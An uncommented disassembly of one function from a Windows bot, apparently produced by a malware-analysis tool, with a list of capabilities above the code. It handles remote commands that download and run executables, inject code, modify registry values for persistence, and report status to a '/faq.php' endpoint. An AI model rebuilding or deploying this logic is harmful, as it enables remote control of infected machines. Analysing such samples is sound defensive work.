Function at 0x10015ba0
Capabilities:
Create process on windows
Create thread
Delete file
Delete registry value
Get common file path
Set file attributes
Set registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x528
push esi
mov esi, eax
mov dword [ebp - 0xc], esi
test esi, esi
je 0x1001695f
push edi
lea eax, [ebp - 0x320]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea ecx, [ebp - 0x21c]
push ecx
push 0
push 0
lea edx, [ebp - 0x320]
push edx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
mov edi, dword [sym.imp.MSVCRT.dll_strstr]
push str._kill_os
push esi
call edi
add esp, 8
test eax, eax
je 0x10015d0b
mov eax, str.ADMINISTRATOR_JOHNDEACFC57A3_BF4BCE24
mov dword [ebp - 0x118], 0x3d6469
mov edx, eax
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10015c10
lea edi, [ebp - 0x118]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10015c20
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [ebp - 0x118]
rep movsb byte es:[edi], byte [esi]
dec eax
nop
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10015c40
mov ecx, dword [str.ret_valok]
mov edx, dword [0x10049a5c]
mov dword [eax], ecx
mov ecx, dword [0x10049a60]
mov dword [eax + 4], edx
mov dword [eax + 8], ecx
lea eax, [ebp - 0x118]
lea edx, [eax + 1]
jmp 0x10015c70
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10015c70
sub eax, edx
mov esi, eax
call fcn.10014a30
push 0
push 1
push esi
lea edx, [ebp - 0x118]
push edx
mov edi, eax
push 1
lea eax, [ebp - 0x21c]
push eax
push str._faq.php
push 0
mov eax, edi
call fcn.10014ab0
test eax, eax
jne 0x10015ccb
push eax
push 1
push esi
lea ecx, [ebp - 0x118]
push ecx
push 1
lea edx, [ebp - 0x21c]
push edx
push str._faq.php
push 1
mov eax, edi
call fcn.10014ab0
push 0
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea ecx, [ebp - 0x21c]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
call fcn.10013790
call fcn.10013530
push 0
push 0
push 0x64
push 4
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push ebx
push str._activebc
push esi
call edi
add esp, 8
test eax, eax
je 0x10015edb
push str._activebc
push esi
mov esi, dword [sym.imp.MSVCRT.dll_strstr]
call esi
lea ebx, [eax + 0xa]
push 0x10049a7c
push ebx
mov dword [ebp - 0xc], eax
call esi
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10015edb
push 0x80000002
mov edi, 0x1005ae0c
mov eax, ebx
mov byte [esi], 0
call fcn.10007e20
test eax, eax
jne 0x10015d6c
push 0x80000001
mov eax, ebx
call fcn.10007e20
push 0x80000002
mov edi, 0x1005af10
lea eax, [esi + 1]
mov byte [esi], 0x3a
call fcn.10007e20
test eax, eax
jne 0x10015d92
push 0x80000001
lea eax, [esi + 1]
call fcn.10007e20
push str.GlobalEAF799BF_8449_4fe1_9A0D_95CD39DC2014
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
test esi, esi
je 0x10015edb
push 6
push str.GlobalEAF799BF_8449_4fe1_9A0D_95CD39DC2014
call fcn.100259d0
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea edx, [ebp - 4]
push edx
push esi
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x10015dec
test byte [ebp - 4], 2
jne 0x10015dec
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
mov dword [ebp - 0x118], 0x3d6469
call fcn.100032e0
mov ecx, eax
nop
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10015e00
lea edi, [ebp - 0x118]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10015e12
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [ebp - 0x118]
rep movsb byte es:[edi], byte [esi]
dec eax
nop
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10015e30
mov ecx, dword [str.activebcok]
mov edx, dword [0x10049a84]
mov dword [eax], ecx
mov ecx, dword [0x10049a88]
mov dword [eax + 4], edx
mov dl, byte [0x10049a8c]
mov dword [eax + 8], ecx
mov byte [eax + 0xc], dl
lea eax, [ebp - 0x118]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10015e64
sub eax, edx
mov esi, eax
call fcn.10014a30
push 0
push 1
push esi
mov edi, eax
lea eax, [ebp - 0x118]
push eax
push 1
lea ecx, [ebp - 0x21c]
push ecx
push str._faq.php
push 0
mov eax, edi
call fcn.10014ab0
test eax, eax
jne 0x10015ebf
push eax
push 1
push esi
lea edx, [ebp - 0x118]
push edx
push 1
lea eax, [ebp - 0x21c]
push eax
push str._faq.php
push 1
mov eax, edi
call fcn.10014ab0
push 0
lea ecx, [ebp - 0x21c]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea edx, [ebp - 0x21c]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [ebp - 0xc]
mov edi, dword [sym.imp.MSVCRT.dll_strstr]
push str._deactivebc
push eax
call edi
mov ebx, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
add esp, 8
test eax, eax
je 0x1001624f
push 0x103
xor esi, esi
lea ecx, [ebp - 0x423]
push esi
push ecx
mov byte [ebp - 0x424], 0
call sub.MSVCRT.dll_memset
add esp, 0xc
lea edx, [ebp - 4]
push edx
push 0x102
push esi
push str.softwaremicrosoft
push 0x80000002
mov dword [ebp - 4], esi
call ebx
test eax, eax
jne 0x10015f58
mov eax, dword [ebp - 4]
push 0x1005ae0c
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
test eax, eax
jne 0x10015f58
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
or esi, 0xffffffff
mov eax, dword [ebp - 4]
test eax, eax
je 0x10015f66
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
jne 0x10015fce
push 0x103
lea edx, [ebp - 0x423]
push esi
push edx
mov byte [ebp - 0x424], 0
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 4]
push eax
push 0x102
push esi
push str.softwaremicrosoft
push 0x80000001
mov dword [ebp - 4], esi
call ebx
test eax, eax
jne 0x10015fc0
mov ecx, dword [ebp - 4]
push 0x1005ae0c
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
test eax, eax
jne 0x10015fc0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov eax, dword [ebp - 4]
test eax, eax
je 0x10015fce
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x103
xor esi, esi
lea eax, [ebp - 0x423]
push esi
push eax
mov byte [ebp - 0x424], 0
call sub.MSVCRT.dll_memset
add esp, 0xc
lea ecx, [ebp - 4]
push ecx
push 0x102
push esi
push str.softwaremicrosoft
push 0x80000002
mov dword [ebp - 4], esi
call ebx
test eax, eax
jne 0x10016029
mov edx, dword [ebp - 4]
push 0x1005af10
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
test eax, eax
jne 0x10016029
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
or esi, 0xffffffff
mov eax, dword [ebp - 4]
test eax, eax
je 0x10016037
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
jne 0x1001609f
push 0x103
lea ecx, [ebp - 0x423]
push esi
push ecx
mov byte [ebp - 0x424], 0
call sub.MSVCRT.dll_memset
add esp, 0xc
lea edx, [ebp - 4]
push edx
push 0x102
push esi
push str.softwaremicrosoft
push 0x80000001
mov dword [ebp - 4], esi
call ebx
test eax, eax
jne 0x10016091
mov eax, dword [ebp - 4]
push 0x1005af10
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
test eax, eax
jne 0x10016091
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov eax, dword [ebp - 4]
test eax, eax
je 0x1001609f
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push str.GlobalEAF799BF_8249_4fe1_9A0D_92CD3CC22014
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
test esi, esi
je 0x1001624f
call fcn.10025930
test eax, eax
je 0x1001611c
push 0
lea edx, [ebp - 8]
push edx
push 1
push str.S:_ML__NRNWNX___LW_
call dword [sym.imp.ADVAPI32.dll_ConvertStringSecurityDescriptorToSecurityDescriptorW]
test eax, eax
je 0x1001611c
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 8]
lea ecx, [ebp - 4]
push ecx
lea edx, [ebp - 0x10]
push edx
push eax
mov dword [ebp - 4], 0
call dword [sym.imp.ADVAPI32.dll_GetSecurityDescriptorSacl]
test eax, eax
je 0x10016112
mov ecx, dword [ebp - 4]
push ecx
push 0
push 0
push 0
push 0x10
push 6
push str.GlobalEAF799BF_8249_4fe1_9A0D_92CD3CC22014
call dword [sym.imp.ADVAPI32.dll_SetNamedSecurityInfoA]
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_LocalFree]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea eax, [ebp - 8]
push eax
push esi
mov dword [ebp - 8], 0
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x10016151
test byte [ebp - 8], 2
jne 0x10016151
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
mov dword [ebp - 0x118], 0x3d6469
call fcn.100032e0
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10016164
lea edi, [ebp - 0x118]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10016176
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [ebp - 0x118]
rep movsb byte es:[edi], byte [esi]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10016193
mov ecx, dword [str.deactivebcok]
mov edx, dword [0x10049aa0]
mov dword [eax], ecx
mov ecx, dword [0x10049aa4]
mov dword [eax + 4], edx
mov dx, word [0x10049aa8]
mov dword [eax + 8], ecx
mov cl, byte [0x10049aaa]
mov word [eax + 0xc], dx
mov byte [eax + 0xe], cl
lea eax, [ebp - 0x118]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100161d2
sub eax, edx
mov esi, eax
call fcn.10014a30
push 0
push 1
push esi
lea edx, [ebp - 0x118]
push edx
mov edi, eax
push 1
lea eax, [ebp - 0x21c]
push eax
push str._faq.php
push 0
mov eax, edi
call fcn.10014ab0
test eax, eax
jne 0x1001622d
push eax
push 1
push esi
lea ecx, [ebp - 0x118]
push ecx
push 1
lea edx, [ebp - 0x21c]
push edx
push str._faq.php
push 1
mov eax, edi
call fcn.10014ab0
push 0
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea ecx, [ebp - 0x21c]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov edi, dword [sym.imp.MSVCRT.dll_strstr]
mov edx, dword [ebp - 0xc]
push str._load
push edx
call edi
add esp, 8
test eax, eax
je 0x100164e8
mov eax, dword [ebp - 0xc]
push str._load
push eax
call edi
lea esi, [eax + 6]
push 0x100456dc
push esi
mov dword [ebp - 0xc], eax
call edi
mov ebx, eax
add esp, 0x10
test ebx, ebx
je 0x1001628a
mov byte [ebx], 0
add esi, 7
lea edx, [ebp - 0x528]
mov eax, esi
sub edx, esi
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x10016297
push 0x10049ab4
push esi
call edi
add esp, 8
mov dword [ebp - 8], eax
test eax, eax
je 0x1001695d
mov ecx, eax
push 0x10049ab8
push ecx
call edi
add esp, 8
mov dword [ebp - 4], eax
test eax, eax
je 0x1001695d
mov edx, eax
lea eax, [ebp - 0x528]
push 0x10049ab8
push eax
mov byte [edx], 0
call edi
mov esi, eax
mov byte [esi], 0
add esp, 8
inc esi
test ebx, ebx
je 0x100162f2
mov byte [ebx], 0xa
lea ecx, [ebp - 0x528]
push 0x10049ab4
push ecx
call edi
add esp, 8
test eax, eax
je 0x1001695d
lea edx, [ebp - 0x320]
push edx
push 0x104
mov byte [eax], 0
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x21c]
push eax
push 0
push 0
lea ecx, [ebp - 0x320]
push ecx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
lea eax, [ebp - 0x21c]
dec eax
nop
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10016340
mov edx, dword [str..exe]
mov cl, byte [0x10045634]
mov dword [eax], edx
mov byte [eax + 4], cl
mov eax, esi
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10016360
mov ebx, dword [ebp - 8]
push 0
push 1
sub eax, edx
mov edi, eax
push edi
push esi
push 1
lea edx, [ebp - 0x21c]
push edx
push ebx
push 0
lea eax, [ebp - 0x528]
call fcn.10014ab0
test eax, eax
jne 0x100163b3
push eax
push 1
push edi
push esi
push 1
lea eax, [ebp - 0x21c]
push eax
push ebx
push 1
lea eax, [ebp - 0x528]
call fcn.10014ab0
test eax, eax
je 0x100164dc
push 5
lea ecx, [ebp - 0x21c]
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
cmp eax, 0x1f
jbe 0x100164dc
push 0
mov dword [ebp - 0x118], 0x3d6469
call fcn.100032e0
mov ecx, eax
mov edi, edi
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x100163e0
lea edi, [ebp - 0x118]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x100163f2
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [ebp - 0x118]
rep movsb byte es:[edi], byte [esi]
dec eax
nop
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10016410
mov edx, dword [str.loadok]
mov ecx, dword [0x10049ac0]
mov dword [eax], edx
mov dl, byte [0x10049ac4]
mov dword [eax + 4], ecx
mov byte [eax + 8], dl
lea eax, [ebp - 0x320]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea ecx, [ebp - 0x21c]
push ecx
push 0
push 0
lea edx, [ebp - 0x320]
push edx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
lea eax, [ebp - 0x118]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10016465
sub eax, edx
mov esi, eax
call fcn.10014a30
push 0
push 1
push esi
mov edi, eax
lea eax, [ebp - 0x118]
push eax
push 1
lea ecx, [ebp - 0x21c]
push ecx
push str._faq.php
push 0
mov eax, edi
call fcn.10014ab0
test eax, eax
jne 0x100164c0
push eax
push 1
push esi
lea edx, [ebp - 0x118]
push edx
push 1
lea eax, [ebp - 0x21c]
push eax
push str._faq.php
push 1
mov eax, edi
call fcn.10014ab0
push 0
lea ecx, [ebp - 0x21c]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea edx, [ebp - 0x21c]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [ebp - 4]
mov edi, dword [sym.imp.MSVCRT.dll_strstr]
mov byte [eax], 0x3f
mov ecx, dword [ebp - 0xc]
push str._inject_n
push ecx
call edi
add esp, 8
test eax, eax
je 0x100166fd
mov edx, dword [ebp - 0xc]
push str._inject_n
push edx
call edi
lea esi, [eax + 8]
push 0x100456dc
push esi
mov dword [ebp - 0xc], esi
call edi
mov ebx, eax
add esp, 0x10
test ebx, ebx
je 0x1001695d
mov eax, esi
mov byte [ebx], 0
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10016530
sub eax, edx
je 0x1001695d
lea edi, [eax + 0x13]
and edi, 0xfffffff0
push edi
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x1001695d
push edi
push 0
push esi
call sub.MSVCRT.dll_memset
mov eax, dword [ebp - 0xc]
add esp, 0xc
push esi
push eax
call fcn.10044ce0
lea ecx, [ebp - 0x320]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea edx, [ebp - 0x21c]
push edx
push 0
push 0
lea eax, [ebp - 0x320]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
mov eax, esi
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x100165a4
sub eax, ecx
push eax
push esi
lea eax, [ebp - 0x21c]
call fcn.10007350
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
neg eax
sbb eax, eax
neg eax
add eax, 0x80000001
push eax
lea esi, [ebp - 0x21c]
call fcn.100117d0
mov byte [ebx], 0xa
push 0
mov dword [ebp - 0x118], 0x3d6469
call fcn.100032e0
mov ecx, eax
lea ecx, [ecx]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x100165f0
lea edi, [ebp - 0x118]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10016602
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [ebp - 0x118]
rep movsb byte es:[edi], byte [esi]
dec eax
nop
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10016620
mov ecx, dword [str.injectok]
mov edx, dword [0x10049ad8]
mov dword [eax], ecx
mov cx, word [0x10049adc]
mov dword [eax + 4], edx
mov dl, byte [0x10049ade]
mov word [eax + 8], cx
mov byte [eax + 0xa], dl
lea eax, [ebp - 0x320]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea ecx, [ebp - 0x21c]
push ecx
push 0
push 0
lea edx, [ebp - 0x320]
push edx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
lea eax, [ebp - 0x118]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10016680
sub eax, edx
mov esi, eax
call fcn.10014a30
push 0
push 1
push esi
mov edi, eax
lea eax, [ebp - 0x118]
push eax
push 1
lea ecx, [ebp - 0x21c]
push ecx
push str._faq.php
push 0
mov eax, edi
call fcn.10014ab0
test eax, eax
jne 0x100166db
push eax
push 1
push esi
lea edx, [ebp - 0x118]
push edx
push 1
lea eax, [ebp - 0x21c]
push eax
push str._faq.php
push 1
mov eax, edi
call fcn.10014ab0
push 0
lea ecx, [ebp - 0x21c]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea edx, [ebp - 0x21c]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov edi, dword [sym.imp.MSVCRT.dll_strstr]
mov eax, dword [ebp - 0xc]
push str._new_config
push eax
call edi
add esp, 8
test eax, eax
je 0x1001695d
mov ecx, dword [ebp - 0xc]
push str._new_config
push ecx
call edi
mov esi, eax
add esp, 8
add esi, 0xc
je 0x1001695d
inc esi
push 0x1005a4e8
mov eax, esi
call fcn.100148f0
push 0
push 0
push 0
push 0x100154b0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ebx, eax
test ebx, ebx
je 0x10016777
lea edx, [ebp - 8]
push edx
push ebx
mov dword [ebp - 8], 0
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x10016777
test byte [ebp - 8], 2
jne 0x10016777
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x100456dc
push esi
call edi
mov esi, eax
add esp, 8
test esi, esi
je 0x1001695d
mov ebx, dword [sym.imp.MSVCRT.dll_atoi]
inc esi
push esi
call ebx
add esp, 4
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 0x20106
push 0
push str.softwaremicrosoft
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
neg eax
sbb eax, eax
neg eax
add eax, 0x80000001
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x100167f4
mov edx, dword [ebp - 4]
push 4
lea ecx, [ebp - 8]
push ecx
push 4
push eax
push 0x1005be4c
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x100456dc
push esi
call edi
add esp, 8
test eax, eax
je 0x1001695d
inc eax
push eax
call ebx
add esp, 4
lea edx, [ebp - 4]
push edx
push 0x20106
push 0
push str.softwaremicrosoft
mov dword [ebp - 8], eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
neg eax
sbb eax, eax
neg eax
add eax, 0x80000001
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1001686a
mov ecx, dword [ebp - 4]
push 4
lea eax, [ebp - 8]
push eax
push 4
push 0
push 0x1005bf50
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0
mov dword [ebp - 0x118], 0x3d6469
call fcn.100032e0
mov ecx, eax
lea ecx, [ecx]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10016880
lea edi, [ebp - 0x118]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10016892
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [ebp - 0x118]
rep movsb byte es:[edi], byte [esi]
dec eax
nop
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x100168b0
mov ecx, dword [str.configok]
mov edx, dword [0x10049af0]
mov dword [eax], ecx
mov cx, word [0x10049af4]
mov dword [eax + 4], edx
mov dl, byte [0x10049af6]
mov word [eax + 8], cx
mov byte [eax + 0xa], dl
lea eax, [ebp - 0x118]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100168e6
sub eax, edx
mov esi, eax
call fcn.10014a30
push 0
push 1
push esi
mov edi, eax
lea eax, [ebp - 0x118]
push eax
push 1
lea ecx, [ebp - 0x21c]
push ecx
push str._faq.php
push 0
mov eax, edi
call fcn.10014ab0
test eax, eax
jne 0x10016941
push eax
push 1
push esi
lea edx, [ebp - 0x118]
push edx
push 1
lea eax, [ebp - 0x21c]
push eax
push str._faq.php
push 1
mov eax, edi
call fcn.10014ab0
push 0
lea ecx, [ebp - 0x21c]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea edx, [ebp - 0x21c]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret